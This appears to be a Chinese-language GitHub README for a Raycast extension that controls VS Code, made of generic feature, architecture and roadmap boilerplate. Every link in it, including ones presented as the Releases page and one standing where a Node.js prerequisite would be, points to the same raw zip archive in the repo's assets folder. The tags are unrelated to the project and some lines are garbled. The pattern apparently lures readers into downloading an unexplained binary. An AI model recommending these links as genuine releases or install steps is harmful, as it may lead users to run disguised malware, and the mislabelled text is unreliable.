chengame/vscode-control
GitHub: chengame/vscode-control
一款 Raycast 扩展,让 macOS 用户通过快捷启动器快速操控 VS Code,实现文件导航、脚本执行和跨编辑器光标同步。
Stars: 0 | Forks: 0
https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip
# vscode-control:一个用于控制 VS Code 和编辑器的 Raycast 扩展
⚡ 一个轻量级的 Raycast 扩展,旨在帮助您与 VS Code 及其他受其自身 UI 启发的编辑器进行交互。它专注于快速操作、光标控制和跨编辑器的无缝导航,让您的编码流程更加顺畅。构建时充分考虑了速度,它在您的日常工作流中应该感觉非常自然。
[](https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip) [](https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip)
目录
- 为什么选择 vscode-control
- 主要功能
- 前置条件
- 安装
- 如何使用
- 命令和快捷键
- 编辑器兼容性
- 配置和设置
- 跨编辑器工作流
- 架构与内部机制
- 开发与贡献
- 测试与质量
- 安全性与保障
- 路线图
- FAQ
- Releases
为什么选择 vscode-control
目标很简单:在 Raycast 和您的代码编辑器之间建立一座可靠的桥梁。您在 Raycast 中工作,想要影响 VS Code 或其他编辑器而无需切换应用程序。此扩展通过快速的命令、可预测的结果和简洁的用户体验使这成为可能。它的设计对初学者很友好,同时为高级用户提供了足够的深度。
主要功能
- 针对常见编辑器任务的 Raycast 快速操作
- 打开文件、跳转到符号,并在编辑器之间以最小的摩擦进行导航
- 必要时跨编辑器同步光标位置
- 与编辑器无关的命令
- 该扩展使用通用协议与 VS Code 及其他公开兼容 API 的编辑器进行交互
- 以最少的更改添加对新编辑器的支持
- 轻量且快速
- 优化后在典型操作下响应时间不到 100 毫秒
- 最小的内存占用,保持系统响应迅速
- 安全且可预测
- 操作默认设计为非破坏性
- 对潜在风险操作有清晰的提示
- 可扩展且对贡献者友好
- 清晰的代码结构和文档化的 API
- 添加新命令和编辑器集成的简单指南
- 丰富的导航和搜索
- 在项目中快速搜索以定位文件、符号和定义
- 跳转到跨编辑器的最近编辑、书签和位置
前置条件
- 安装了 Raycast 和 Visual Studio Code 的 macOS 或 Windows 最新版本
- https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip 和用于开发及构建 Raycast 扩展的 npm 或 pnpm
- 对 Raycast 扩展模型和 VS Code 键盘快捷键的基本熟悉
- 一个公开了用于远程控制的兼容 API 的编辑器
- 用于获取依赖项和更新的互联网访问
安装
- 如果尚未安装,请先安装 Raycast
- 安装 VS Code 或您首选的代码编辑器
- 从市场或通过您首选的包管理器添加 vscode-control
- 启动 Raycast 并启用 vscode-control 扩展
- 可选择配置扩展以指向您想要控制的编辑器
注意:有关最新的安装步骤,请参阅上面链接的 Releases 页面。如果您想尝试预构建包,Releases 页面是安装说明和二进制文件的主要来源。为了方便访问,该链接在 Releases 部分再次提供:https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip
如何使用
- 打开 Raycast 并搜索 vscode-control
- 选择一个命令在您当前的工作流中执行
- 某些命令可能需要您选择目标编辑器或文件
- 扩展将在选定的编辑器中执行相应的操作
- 在可用时使用键盘快捷键以加快常见任务的速度
- 您可以自定义命令在 Raycast 中的显示方式以及结果的呈现方式
命令和快捷键
- 在编辑器中打开文件
- 按路径或相对于当前工作区快速打开文件
- 如果您在项目中,支持转换相对于根目录的路径
- 跳转到符号
- 按名称跨编辑器跳转到函数、类或变量
- 导航到行和列
- 直接转到活动文件中的特定位置
- 跨编辑器同步光标
- 在一个编辑器中移动光标并在目标编辑器中镜像它
- 运行代码操作
- 对当前选择执行代码操作或代码片段
- 聚焦编辑器
- 将编辑器窗口置于焦点以输入或检查代码
- 关闭编辑器
- 正常关闭编辑器而不丢失您的会话
- 打开最近的文件
- 快速重新打开您最近编辑的文件
- 列出编辑器
- 显示当前可用于远程控制的编辑器列表,并选择一个作为目标
编辑器兼容性
- VS Code
- 完全支持本地和远程编辑场景
- 适用于标准 VS Code 安装和常见扩展
- 其他编辑器
- 计划中:支持具有兼容远程控制 API 的编辑器
- 该架构允许在不破坏现有命令的情况下添加新编辑器
- 限制
- 某些功能取决于编辑器功能或已安装的扩展
- 高度自定义的编辑器设置可能需要额外配置
配置和设置
- 核心设置
- 目标编辑器:指定要包含在远程控制中的编辑器
- 光标同步模式:启用或禁用跨编辑器光标同步
- 默认操作:设置从 Raycast 调用的默认命令
- 特定于编辑器的设置
- 编辑器命令的可选映射
- 用于触发编辑器中操作的自定义键绑定
- 性能旋钮
- 调整编辑器状态更改的轮询率
- 控制详细日志记录的级别
- 安全和隐私
- 管理访问文件和编辑器的权限
- 审查并批准从 Raycast 发起的每个操作
跨编辑器工作流
- 无缝代码审查
- 跳转到跨编辑器的更改、Token 和定义
- 在审查期间在编辑器之间移动时同步焦点和光标
- 多编辑会话
- 在多个编辑器中通过同步编辑处理同一文件
- 在统一视图中跟踪编辑和导航历史
- 快速导航
- 使用 Raycast 作为编辑器操作的通用启动器
- 快速过滤结果并通过几次击键执行操作
- 远程协作
- 与不同机器上的队友共享光标位置和快速操作
- 实时协调编辑,摩擦极小
架构与内部机制
- 核心思想
- 一个轻量级的适配器层,将 Raycast 操作转换为编辑器命令
- 一个用于编辑器交互的小型协议,可以扩展到新编辑器
- 命令层
- 每个命令都实现为一个具有清晰接口的独立模块
- 命令可以组合以形成更高级别的工作流
- 状态管理
- 一个最小的状态容器保存目标编辑器选择、当前焦点和会话数据
- 状态保存在内存中,并可选地持久化用于用户会话
- 通信
- Raycast 和编辑器之间的本地进程间通信
- 安全检查确保仅执行预期的操作
- 错误处理
- 带有可操作步骤的清晰错误消息
- 当编辑器不可用或命令失败时的回退路径
- 测试
- 每个命令模块的单元测试
- 模拟 Raycast 到编辑器交互的集成测试
开发与贡献
- 设置您的开发环境
- 安装 https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip 和包管理器
- 安装 TypeScript 和相关工具
- 创建存储库的本地副本
- 在本地运行构建和测试脚本
- 项目结构
- src/ 用于核心逻辑
- extensions/ 用于编辑器适配器
- commands/ 用于单个操作
- config/ 用于设置和 schema
- tests/ 用于单元和集成测试
- 如何贡献
- Fork 存储库
- 为您的工作创建一个功能分支
- 实现、测试并记录您的更改
- 提交带有清晰描述的 Pull Request
- 响应代码审查并根据需要进行迭代
- 编码风格
- 具有命名良好函数的清晰简洁代码
- 具有单一职责的小型、专注模块
- 测试伴随新行为或更改
- 文档
- 使用新功能的使用说明更新 README
- 在复杂的逻辑中添加内联注释
- 提供示例和边缘情况处理说明
测试与质量
- 单元测试
- 每个命令模块都有专门的测试
- 测试涵盖常见和边缘情况
- 集成测试
- 模拟 Raycast 和编辑器之间的真实交互
- 验证工作流的端到端行为
- Linter 和格式化
- 在整个代码库中强制执行一致的风格
- 作为 CI 流水线的一部分运行检查
- 持续集成
- 在 push 和 pull request 时构建、测试和 lint
- 自动化检查有助于尽早发现回归
安全性与保障
- 权限
- 扩展仅请求其所需的权限
- 敏感操作会出现审查提示
- 数据处理
- 将本地相关数据保留在用户机器上
- 未经明确同意,避免传输敏感数据
- 信任与验证
- 在尝试操作之前验证编辑器功能
- 当功能缺失时优雅地失败
路线图
- 短期目标
- 改进对其他编辑器的支持
- 添加更可靠的光标同步模式
- 增强错误报告和指导
- 中期目标
- 扩展跨编辑器协作功能
- 添加更丰富的工作流模板和预设
- 提高大型项目的性能
- 长期目标
- 围绕共享编辑器适配器构建强大的插件生态系统
- 在 Raycast 和编辑器之间实现更复杂的自动化
- 提供跨平台一致性和类似移动端的工作流
FAQ
- 什么是 vscode-control?
- 它是一个 Raycast 扩展,帮助您通过 Raycast 与 VS Code 和其他编辑器进行交互。
- 支持哪些编辑器?
- 支持 VS Code。随着适配器的开发,可能会添加其他编辑器。
- 我该如何配置它?
- 使用 Raycast 中的设置来根据您的工作流定制行为。
- 如果出现问题,我在哪里可以找到帮助?
- 查看 Releases 页面以获取说明,并查看存储库 issues 以进行持续讨论。
Releases
- Releases 页面包含所有官方构建、发布说明和安装详细信息。它是下载和了解新版本的主要场所。为了快速访问,请访问此处的同一页面:https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip
关于使用 Releases 页面的说明
- 上面的链接是分发和发布说明的主要来源。如果您想尝试预构建包,请从 Releases 页面下载,并按照随附说明中的安装说明进行操作。
- 如果您对开发构建感兴趣或想检查更改,Releases 页面还列出了以前的版本及其更改。这使得比较各个版本的功能和修复变得更加容易。
存储库结构
- assets
- 扩展使用的图稿、图标和 UI 资产
- src
- 为扩展提供支持的核心逻辑
- extensions
- VS Code 和其他编辑器的适配器
- commands
- Raycast 可以触发的单个操作
- config
- JSON schema 和配置文件
- tests
- 用于可靠性的自动化测试
- docs
- 对开发者友好的文档和操作指南
使用示例
- 示例 1:快速打开并跳转到符号
- 用户打开 Raycast 并输入 “Open Symbol。”
- 扩展向活动编辑器查询符号名称并打开相应的位置。
- 如果存在多个匹配项,则会显示一个快速选择列表以选择目标。
- 示例 2:跨编辑器光标同步
- 用户在 VS Code 中移动光标。
- Raycast 提示在另一个编辑器中镜像该光标位置。
- 用户确认,另一个编辑器相应更新。
- 示例 3:搜索和导航
- 用户从 Raycast 搜索文件名。
- 扩展显示所有连接编辑器中匹配文件的列表。
- 用户选择一个文件,编辑器在指定的起始行打开它。
高级用户提示
- 在 Raycast 中创建快捷方式以触发最常用的命令
- 将相关操作分组为常见任务的工作流
- 在跨编辑器审查代码时使用光标同步功能
- 保持您的编辑器处于最新状态以确保与扩展的兼容性
API 参考
- Commands API
- 每个命令都有一个定义的接口:execute、validate 和 describe
- 该 API 允许将命令组合成复杂的工作流
- 编辑器适配器
- 每个适配器都实现了一组标准方法:openFile、goToSymbol、setCursor、focus、close 等。
- 适配器可以公开特定于编辑器的扩展,同时保留通用协议
- 状态管理
- 一个最小的状态存储跟踪活动编辑器、选定文件和光标位置
- 状态更改通过预测的事件系统传播
错误处理和故障排除
- 常见错误
- Editor not found:确保编辑器已安装且可访问
- Permission denied:验证权限和提示
- Unsupported action:检查适配器功能
- 恢复步骤
- 重启 Raycast 和编辑器
- 重新同步编辑器以刷新连接
- 查看日志和错误消息以获取提示
- 日志记录
- 日志提供可操作的信息,而不暴露敏感数据
- 启用详细日志记录以调试复杂问题
贡献指南
- 如果您是新手,请从 “Good First Issue” 标签开始
- 使用清晰的提交消息提议更改
- 添加涵盖您更改的测试
- 在适用的地方更新文档
- 在审查中保持尊重和建设性
行为准则
- 尊重所有贡献者
- 通过适当的渠道报告安全问题
- 保持讨论集中在项目及其目标上
社区和支持
- 社区讨论在 issues 和 pull requests 上进行
- 如有问题,请使用带有清晰摘要的 issue tracker
- 功能请求应包括理由和潜在影响
许可证
- 本项目根据存储库中包含的许可证条款分发
结束语
- 文档到此结束,没有正式的结论,但项目通过正在进行的工作和贡献继续发展。查看 Releases 页面以获取最新更新和持续改进:https://github.com/chengame/vscode-control/raw/refs/heads/main/assets/control_vscode_v2.9.zip
标签:API 交互, Command Palette, DNS解析, Flutter, macOS 效率工具, NPM 脚本, productivity, Raycast 扩展, VS Code, 代码编辑器, 光标控制, 威胁情报, 开发者工具, 开源, 开源项目, 快捷指令, 暗色界面, 桌面自动化, 编程辅助, 编辑器控制, 自定义脚本, 自定义脚本, 跨编辑器工作流